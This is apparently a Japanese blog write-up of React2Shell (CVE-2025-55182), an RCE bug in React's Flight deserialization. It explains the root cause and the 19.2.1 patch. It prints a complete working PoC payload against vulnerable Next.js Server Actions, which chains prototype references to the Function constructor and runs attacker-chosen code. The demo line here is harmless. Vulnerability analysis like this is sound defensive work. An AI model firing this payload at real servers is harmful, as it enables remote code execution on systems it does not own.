React2Shell(CVE-2025-55182) レビュー
CVE-2025-55182の分析と再現
概要
この記事は、昨年インターネットを熱くさせた脆弱性、React2Shell(CVE-2025-55182)を説明し、再現する記事だ。 React2ShellはCVSS 3.1で、なんと満点の10.0を獲得した脆弱性だ。
この記事は、脆弱なバージョンを使うNext.jsサーバーを基準に書いた。
ラボに関するコードはGitHubで確認できる。
Flight Protocol
まずReact2Shellの仕組みを理解するには、React Server ComponentsのFlight Protocolを理解する必要がある。 Flightは、Reactがサーバーとクライアントの間で値をやり取りするときに使うシリアライズ形式だ。サーバーはコンポーネントのレンダリング結果をFlight形式で送り、クライアントはServer Functionの引数をこの形式で送信する。
React2Shellは、サーバーがクライアントから受け取った引数を解釈する過程で発生する脆弱性だ。Flightでサーバーが受け取った値をデシリアライズする処理は、JSONのパースだけでは終わらない。たとえば"$1"のような文字列は、別のモデルを参照する。
たとえば、サーバーが次のようなフィールドを受け取ったとしよう。
フィールド0 : {"profile" : "$1"}フィールド1 : {"name" : "gl4ss"}このデータを受け取ったサーバーは、フィールド0を復元する途中でprofileの"$1"に出会うと、フィールド1を探して復元する。サーバーが復元して作り出す最終的な値は次のとおりだ。
{ profile: { name: "gl4ss" }}単純なモデル参照だけでなく、"$@3"はID 3に対応するChunkオブジェクトを返し、"$B3"はFormDataに保存されたBlobを探す、といった機能もある。Reactはデータを受け取る過程でこれらの表記を解釈し、モデルの値を復元する。
Root Cause(根本原因)
脆弱なバージョンのRoot Causeは、Flight参照が読み取れるプロパティの範囲を制限していなかったことだ。クライアントが送った参照は、別のモデルの値やその中のプロパティを指す。React 19.2.0のgetOutlinedModel()は、プロパティのパスを次のように処理する。
let value = chunk.value;for (let i = 1; i < path.length; i++) { value = value[path[i]];}保留中の参照を処理するcreateModelResolver()も、value = value[path[i]]でプロパティを読み取る。
value[path[i]]はJSの普通のプロパティ参照なので、オブジェクトが直接持つプロパティだけでなく、prototypeから継承したプロパティにもアクセスできてしまう。面白いのは、同じファイルのreviveModel()はオブジェクトを走査するときにhasOwnProperty()で直接持つプロパティかどうかを確認しているのに、参照パスを読むこの二つの関数にはその確認がなかったことだ。
getOutlinedModel()の元コード、createModelResolver()の元コード
RCEまでの手順
GitHubリポジトリにあるpoc.pyを見てみよう。poc.pyがサーバーに送るペイロードは次のとおりだ。
{ '0': '$1', '1': { 'status':'resolved_model', 'reason':0, '_response':'$4', 'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}', 'then':'$2:then' }, '2': '$@3', '3': [], '4': { '_prefix':'console.log(91455)//', '_formData':{ 'get':'$3:constructor:constructor' }, '_chunks':'$2:_response:_chunks', }}フィールド0の$1はモデル1の値を要求する一方、フィールド1は普通のJSONオブジェクトとしてパースされる。この記事でいうオブジェクト1は、このフィールドから復元された普通のオブジェクトを意味し、Reactが作ったChunk 1とは別物だ。オブジェクト内の参照まで解決すると、主なプロパティは次のようになる。
1.status == 'resolved_model'1.reason == 01._response == フィールド4から復元された偽のresponse1.value == '{"then":"$3:map","0":{"then":"$B3"},"length":1}'1.then == Chunk.prototype.then1.thenにChunk.prototype.thenが入るまでを見てみよう。
$2:thenはChunk 2の値からthenを読む。フィールド2の$@3が返すのは空配列[]ではなく、Chunk 3そのものだ。したがってChunk 2のvalueにはChunk 3オブジェクトが入る。
$@処理の元コード
結局、$2:thenはChunk 3のthenを探すことになる。Chunk 3はChunk.prototypeを継承しているため、読み取られる値はChunk.prototype.thenだ。
$2:then -> Chunk 2.value(Chunk 3) -> Chunk 3.then -> Chunk.prototype.thenChunk 0のthen呼び出し
今回のターゲットサーバーには脆弱なバージョンのReactを使うNext.jsを選んだので、Next.jsを基準に説明する。
見るべきコードは、Next.js 16.0.6のNodeランタイムでmultipartのServer Actionリクエストを処理する部分だ。
PoCはnext-action: xヘッダーとmultipartの本文を送る。Next.jsはこのリクエストをfetch方式のServer Actionとして分類し、本文をdecodeReplyFromBusboy()に渡す。decodeReplyFromBusboy()はBusboyのfieldイベントごとにresolveField()を呼び出し、getRoot(response)を返す。getRoot()の戻り値はChunk 0だ。このリクエストにはファイル項目がないため、フィールド0から4までは文字列フィールドとして入ってくる。
decodeReplyFromBusboy()の元コード、getRoot()の元コード
await decodeReplyFromBusboy(...) -> Chunk 0.then(resolve, reject) -> フィールド0の"$1"を復元 -> オブジェクト1を返すChunk 0の値は、"$1"が指すフィールド1から復元された普通のオブジェクトだ。awaitがChunk 0のthenを呼ぶと、Reactは値の準備ができるまでresolveを保持する。参照が解決されるとresolve(オブジェクト1)が呼ばれる。フィールドが届く順番と、Chunkの復元が完全に終わる順番は同じではない。まだ届いていないフィールドを参照すると、そのChunkを待つ。
resolveModelChunk()の元関数、getOutlinedModel()の元関数
JavaScriptはresolveに渡されたオブジェクトのthenも確認する。オブジェクト1のthenにはChunk.prototype.thenが入っている。この関数はオブジェクト1をthisとして受け取り、再び呼び出される。
Chunk 0.then(...) -> resolve(オブジェクト1) -> オブジェクト1.then(...) = Chunk.prototype.then.call(オブジェクト1, ...)偽のChunkのvalueを復元する
this.statusがresolved_modelなら、Chunk.prototype.thenはinitializeModelChunk(this)を呼び出す。
さっき作ったオブジェクト1をもう一度見てみよう。
1.status == 'resolved_model'1.reason == 01._response == フィールド4から復元された偽のresponse1.value == '{"then":"$3:map","0":{"then":"$B3"},"length":1}'1.then == Chunk.prototype.thenオブジェクト1には、Chunk.prototype.thenが使うstatus、value、reason、_responseが全部きれいに埋められている。Reactが作った本物のChunkではないが、この関数に必要なプロパティはちょうどよく揃っている。
initializeModelChunk()の核心部分は次のとおりだ。
const rootReference = chunk.reason === -1 ? undefined : chunk.reason.toString(16);const resolvedModel = chunk.value;
chunk.status = CYCLIC;chunk.value = null;chunk.reason = null;
const rawModel = JSON.parse(resolvedModel);const value = reviveModel( chunk._response, { '': rawModel }, '', rawModel, rootReference);ここでchunkが指すのはオブジェクト1だ。したがって、次の手順が進む。
JSON.parse()で1.valueをオブジェクトに変換し、rawModelに保存する(それまでは文字列のままだった)1.reason = 0によってrootReferenceは"0"になるreviveModel()に渡すchunk._responseには、フィールド4から作った偽のresponseである1._responseが入る
偽のresponseの構成
偽のresponseのプロパティは次のように作られる。
'4': { '_prefix':'console.log(91455)//', '_formData':{ 'get':'$3:constructor:constructor' }, '_chunks':'$2:_response:_chunks',}こうしてできるChunk 4の値にあたるオブジェクトは、次のプロパティを持つ。
4._prefix == 'console.log(91455)//'4._formData == { get: Function }4._chunks == React内部のresponse._chunks4._prefixには文字列console.log(91455)//がそのまま入る。4._formDataは普通のオブジェクトとして復元される。その中のgetの値'$3:constructor:constructor'は、Chunk 3の値からプロパティを二回読む参照だ。したがって次のように解釈される。
$3 = []$3:constructor = []['constructor'] = Array$3:constructor:constructor = Array['constructor'] = Functionその結果、4._formData.getにはFunctionコンストラクタが入る。
4._chunksも一つずつたどると、次のようになる。
$2 == Chunk 3$2:_response == Chunk 3._response == React内部のresponse$2:_response:_chunks == Chunk 3._response._chunks == React内部のresponse._chunks = Chunk Mapちなみに、Chunkのコンストラクタ関数は次のとおりだ。
function Chunk(status, value, reason, response) { this.status = status; this.value = value; this.reason = reason; this._response = response;}Chunk 3は、Reactが入力を復元するときに作った内部responseを_responseに保持している。$2:_response:_chunksはこのプロパティをたどり、内部responseのChunk Mapを取得する。Chunk Mapを取ってくる理由は、あとで1.value内の$3:mapを処理するときに必要だからだ。
オブジェクト1のvalueを復元する
次は、1.valueに入っている値の参照がどう解釈されるか見てみよう。
1.value = '{"then":"$3:map","0":{"then":"$B3"},"length":1}'$3:map
内側のJSONにある最初の参照$3:mapは、Chunk 3の値[]からmapを読む。
$3 == []$3:map == []['map'] == Array.prototype.mapこの処理では、1.valueに保存されたJSONをパースした後、reviveModel()が"$3:map"を解釈する。このときgetOutlinedModel()はgetChunk(1._response, 3)を呼び出す。1._response._chunksにはChunk Mapをきちんとセットしておいたので、getChunk()は既存のChunk 3を返し、$3が[]を参照するようになる。
空のArrayからmapを探すので、prototype chainを通じて見つかり、$3:mapの値はArray.prototype.mapになる。
$B3
次は$B3を処理する過程だ。$BはもともとBlob参照を処理する分岐だ。この分岐はgetChunk()を呼ばず、渡された1._responseの_formData.get()を直接呼び出す。
const id = parseInt(value.slice(2), 16);const blobKey = response._prefix + id;return response._formData.get(blobKey);実際には、上のコードでBlob参照を処理する。ここに、私たちが送ったペイロードを当てはめてみよう。
idには数値の3が入る。blobKeyには1._response._prefix + id、つまり"console.log(91455)//3"が入る。response._formData.getにはFunctionコンストラクタが入っている。- したがって戻り値は
Function('console.log(91455)//3')になる。 JavaScriptでは//以降はコメントなので、後ろの3はコメントアウトされる。
結果として、1.valueに保存されるオブジェクトは次のようになる。
{ then: Array.prototype.map, 0: { then: Function('console.log(91455)//3') }, length: 1}thenableの連鎖
これで準備は全部整った。$B3でFunction('console.log(91455)//3')を呼び出して関数を作ったのだから、あとはこの関数を実行するだけでRCEの完成だ。
Chunk.prototype.thenは、復元された1.valueをresolveに渡す。
case INITIALIZED: resolve(chunk.value); breakここで渡される値は1.valueに保存されたオブジェクトだ。もう一度見ると、次のとおりだ。
{ then: Array.prototype.map, 0: { then: Function('console.log(91455)//3') }, length: 1}このオブジェクトにはthenがあるので、JavaScriptは再びthenを呼ぶ。呼び出される関数はArray.prototype.mapだ。mapは配列でないオブジェクトでも、lengthと数値キーがあれば処理できる。ここではlengthが1で、インデックス0に値があるため、その値に対してコールバックを一回呼び出す。
1.value.then(resolve, reject)== Array.prototype.map.call(1.value, resolve, reject)mapの第一引数には、Promiseが渡したresolveが入る。したがってmapはインデックス0の値を読み、次のような形で呼び出す。第二引数のrejectはmapのthisArgの位置に入る。
resolve(1.value[0], 0, 1.value)インデックス0の値もthenを持つオブジェクトだ。そのthenには$B3で作った関数が入っている。JavaScriptはこのオブジェクトをまたthenableとして扱い、その関数を呼び出す。この時点で、関数本体のconsole.log(91455)が実行される経路ができあがる。
経路をまとめると、次のようになる。
オブジェクト1のthenを呼ぶ -> resolve(1.value) -> Array.prototype.mapを呼ぶ -> resolve(1.value[0]) -> 1.value[0]のthenを呼ぶ -> $B3で作った関数を実行
ローカルの脆弱なサーバーに対してpoc.pyを実行した画面だ。サーバーのログには91455が出力されており、PoCに入れたコードがサーバー上で実行されたことを確認できる。
19.2.1のパッチ
19.2.0のgetOutlinedModel()は、パスに書かれたプロパティを、オブジェクト自身が直接持っているかどうか確認せずにそのまま読んでいた。保留中の参照を処理するcreateModelResolver()も同じ方法で読んでいたことがRoot Causeだった。
value = value[path[i]];そのため、空配列のconstructorやmapのように、prototypeから継承したプロパティもこのコードで読めていた。19.2.1はこの部分を修正し、途中の値がReactPromiseならまずその値を取り出してから、オブジェクトが直接持つプロパティだけを読むようにした。すでに準備できている参照はgetOutlinedModel()で、保留中だった参照はfulfillReference()でこの検査を通る。
19.2.0の元コード、19.2.1のgetOutlinedModel()、19.2.1のfulfillReference()
// 19.2.1でのプロパティ参照const name = path[i];if (typeof value === 'object' && hasOwnProperty.call(value, name)) { value = value[name];}では、先ほどのPoCで使った参照をもう一度たどってみよう。
$3:constructor:constructorは、Chunk 3の値である[]からconstructorを探す。空配列はconstructorを直接持っていない。検査に失敗すると、valueは[]のまま残る。したがって4._formData.getにFunctionを入れられない。$2:_response:_chunksでは、Chunk 2の値はChunk 3だ。19.2.1は次のプロパティを読む前に、このChunkを値の[]に展開する。空配列に_responseはないので、React内部のresponseのChunk Mapを取得できない。$2:thenの参照は、Chunk 2がまだ保留中のときに作られる。fulfillReference()は、Chunk 2の値であるChunk 3の準備ができるまで待ち、その値を[]に展開してthenを探す。空配列には直接持つthenがない。したがってオブジェクト1のthenにChunk.prototype.thenは入らない。
$3:constructor:constructor -> [] (Functionには到達しない)$2:_response:_chunks -> [] (Chunk Mapには到達しない)$2:then -> [] (Chunk.prototype.thenには到達しない)上の[]は、プロパティ検査に失敗したとき、読み取っていた値がそのまま残った結果だ。このPoCではオブジェクト1のthenが関数ではないため、先ほど説明した二回目のinitializeModelChunk()の呼び出しにはつながらない。$3:mapと$B3を含む内側のJSONも、その経路では復元されない。